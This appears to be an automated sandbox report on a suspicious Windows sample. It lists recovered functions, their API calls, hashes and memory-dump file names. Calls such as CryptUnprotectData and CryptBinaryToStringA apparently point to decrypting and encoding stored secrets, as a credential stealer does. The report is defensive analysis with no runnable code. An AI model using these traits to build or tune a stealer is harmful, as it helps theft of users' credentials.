Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: Nl
API String ID: 4291131564-3469728612
Opcode ID: 3dfae1b8ac1e417d5dafaed494739de6d8e24917d00b6d85075b53d1c721ccb9
Instruction ID: 608b2e2a5ded731a240e284994a2ba1f0deae51c4ebd9287e1bea9e9961dd5ce
Opcode Fuzzy Hash: 3dfae1b8ac1e417d5dafaed494739de6d8e24917d00b6d85075b53d1c721ccb9
Instruction Fuzzy Hash: E91190B4240308AFEB10CF64DC95FAA77B5EB89700F208058FD159B390C7B6A901DBA0

Function 006D6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 006D696C
sscanf.NTDLL ref: 006D6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 006D69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 006D69C0
ExitProcess.KERNEL32 ref: 006D69DA

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: ba68c9171ac8e62463595dfe34e9d79c64232aa7a47121ea17e568120bab040e
Instruction ID: 266c6aa84a976205355875eb6cb4fcdeebb464236a537c20d314540152dc4a78
Opcode Fuzzy Hash: ba68c9171ac8e62463595dfe34e9d79c64232aa7a47121ea17e568120bab040e
Instruction Fuzzy Hash: DE21C9B5D14209AFCF44EFE4D945AEEB7BABF48300F04852EE406E3250EB345605DBA9

Function 006C7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 006C724D
RtlAllocateHeap.NTDLL(00000000), ref: 006C7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 006C7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 006C72A4
LocalFree.KERNEL32(?), ref: 006C72AE

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 33ba229452cd2bbfa857936ffff77ae337e19dcf691349483030841966f3c70d
Instruction ID: 75da3266fa49a0688174efca2e918d980e104ee5e76cb2e3dcdeb59effccbba9
Opcode Fuzzy Hash: 33ba229452cd2bbfa857936ffff77ae337e19dcf691349483030841966f3c70d
Instruction Fuzzy Hash: B2010075A54308BFEB10DFD4CD45FAD77B9EB44701F108158FB05AA2C0D6B4AA019BA5

Function 00A99986 Relevance: 6.6, Strings: 4, Instructions: 1644COMMON

Download Yara Rule

Strings

gB~, xrefs: 00A99C20
`+;, xrefs: 00A99BD0
MMo, xrefs: 00A9A4C0
<mw, xrefs: 00A99B43

Memory Dump Source

Source File: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: <mw$MMo$`+;$gB~
API String ID: 0-192788959
Opcode ID: 67570c03f4315aa6f9764a509ffe4553289a4c1a5becd33859ebea4a06679328
Instruction ID: 8e0a0055174b362433761923aafde408d6f27bed89466ec5d731882a8740c990
Opcode Fuzzy Hash: 67570c03f4315aa6f9764a509ffe4553289a4c1a5becd33859ebea4a06679328
Instruction Fuzzy Hash: 4EB217F360C2049FE704AE2DEC8577AFBEAEF94320F16453DEAC583744EA7558018696

Function 006D8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,006C5184,40000001,00000000,00000000,?,006C5184), ref: 006D8EC0

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: bb9e43c3e65fc03134698d136c17c84e96387b897174b96887caa0b87789c969
Instruction ID: 70ec50864af67539899a84d88489eed26eca54ba38f22dfbbf87718fdf6e30eb
Opcode Fuzzy Hash: bb9e43c3e65fc03134698d136c17c84e96387b897174b96887caa0b87789c969
Instruction Fuzzy Hash: 16110674604208BFDB10CF64E888FAA37AAAF89340F109549F919CB350DB35E841EB60

Function 00A92E01 Relevance: 5.3, Strings: 3, Instructions: 1570COMMON

Download Yara Rule

Strings

<M?v, xrefs: 00A9379F
{}w~, xrefs: 00A93AAA
3_, xrefs: 00A92F74

Memory Dump Source

Source File: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: <M?v${}w~$3_
API String ID: 0-3917910958
Opcode ID: 0104f1a46bcfc3f4d3ca676f472c958065b03e3bea62d16efd452514d3f835d9
Instruction ID: 6f257e5a07c4b60a498bc1020e31e58ce171c4219aedb1f566285c60983cd695
Opcode Fuzzy Hash: 0104f1a46bcfc3f4d3ca676f472c958065b03e3bea62d16efd452514d3f835d9
Instruction Fuzzy Hash: FFB2F4F3A0C204AFE3046E29EC8577AFBE9EF94320F16493DE6C4C7744E63598458696

Function 6C696CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C696D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696E1E

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction ID: cef72b3a95c0d67210e09b72d9d8342b2118f061bfe39851605f90312853d60d
Opcode Fuzzy Hash: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction Fuzzy Hash: 2BA17E706183818FC755CF25C490BAEFBE2BF89308F44495DE48A87751DB70E949CB96

Function 006D3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(006DE118,00000000,00000001,006DE108,00000000), ref: 006D3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 006D37B0

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 829ac0828dac21a30fa22c33f1780288b2ba1b6d5950551514e575f994a746a2
Instruction ID: 1a778785f61b8589917d0cd031c7975e31e7720a26c85389c1489dc4fbb286e4
Opcode Fuzzy Hash: 829ac0828dac21a30fa22c33f1780288b2ba1b6d5950551514e575f994a746a2
Instruction Fuzzy Hash: B241F770A00A289FDB24DF58CC95F9BB7B5BB48702F4081D9E608AB2D0D7716E85CF51

Function 6C6B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6B8C7C
__aulldiv.LIBCMT ref: 6C6B8DD7

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 814de8cf06003e87ebb2477e944c0d94209f8b6e29ef4fbe5db3ef8435c7af2b
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: D5328F71F0011A8BDF18CE9CC8A17AEB7B2FB8C304F15853AD506BB7A0DA349D558B95

Function 00A920EC Relevance: 1.7, Strings: 1, Instructions: 474COMMON

Download Yara Rule

Strings

+qvN, xrefs: 00A921FE

Memory Dump Source

Source File: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: +qvN
API String ID: 0-3947186083
Opcode ID: 0cea28d412cf70f60d1a44dc9b37dc9feaf5611cc3898f505ab48e0f4b142819
Instruction ID: f6f197957dc7f9fb32d692a63f72f90308a2267db412dee1febd1cd8cf7d035c
Opcode Fuzzy Hash: 0cea28d412cf70f60d1a44dc9b37dc9feaf5611cc3898f505ab48e0f4b142819
Instruction Fuzzy Hash: 18E1E6F360C604AFE3156F1DEC85B7AB7DAEF94720F16462DE6C4C3344EA3598008696

Function 6C695C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C664A63,?,?), ref: 6C695F06

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction ID: 4e78ddb84189f0b869c18d016eff578674f1ff09ffa21a39c9186e2f069ba6a1
Opcode Fuzzy Hash: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction Fuzzy Hash: 5FC1C275D0120A8BCB04CFA5D5906EEBBF2FF8A319F28425DD8556BB44D732A806CF94

Function 00A6DE53 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

NZW, xrefs: 00A6DE92

